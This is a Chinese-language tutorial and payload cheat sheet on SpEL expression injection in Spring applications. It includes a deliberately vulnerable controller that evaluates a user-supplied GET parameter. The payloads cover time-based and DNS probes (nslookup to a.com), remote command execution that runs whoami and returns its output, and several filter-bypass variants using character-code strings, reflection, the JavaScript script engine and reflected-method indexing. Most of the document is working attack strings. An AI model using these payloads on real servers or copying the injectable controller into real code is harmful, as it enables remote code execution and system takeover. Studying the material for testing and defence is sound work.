文章目录
SpEL简介
SpEL使用#{ }
作为定界符,其中的内容都会被解析,${ }
常用于引用属性名称
示例后端代码
首先绑一个Controller
package com.example.javaspring;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class Controller {
@GetMapping("/test")
public String test(String msg){
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(msg);
return expression.getValue().toString();
}
}
将GET参数msg传入解析后,通过getValue获取表达式值回显
常用表达式
-
类:使用
T( )
包裹全类名表示对类的引用(.class
),其中java.lang可以不写全类名
-
实例化类:
new Constructor
直接new加上构造器即可
其他如调用方法、调用属性同Java
SpEL注入
fuzz探测注入点
// fuzz
${22*2}
T(Thread).sleep(2000)
T(Runtime).getRuntime().exec("nslookup a.com")
命令执行RCE
如果这里直接命令执行的话,是获取不到输出的只会打印实例信息,跟之前分析命令执行的时候是一样的
有org.apacpe.commons.io.IOUtils直接调用toString即可
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream())
如果没有就用原生的BufferedReader,但是只能读取第一行
new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream(), "UTF-8")).readLine()
绕过方式
1. String类动态生成字符串命令
new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104).concat(T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(97).concat(T(java.lang.Character).toString(109).concat(T(java.lang.Character).toString(105))))))).getInputStream(), "UTF-8")).readLine()
2. 反射+字符串拼接
别忘了加号要先编码否则识别为空格
T(String).getClass().forName("java.la"%2b"ng.Runtime").getMethod("getRu"%2b"ntime").invoke(null).getClass().getMethod("ex"%2b"ec",T(String)).invoke(T(java.lang.Runtime).getRuntime(),"calc")
3. js引擎rce
T(String).forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")
4. 反射+SpEL集合绕过
通过反射获取所有方法的集合
可以用索引集合的方式获取,那么就写脚本爆破
T(Class).forName('java.lang.Runtime').getDeclaredMethods()%5B14%5D.invoke(T(Class).forName('java.lang.Runtime').getDeclaredMethods()%5B7%5D.invoke(null),'calc')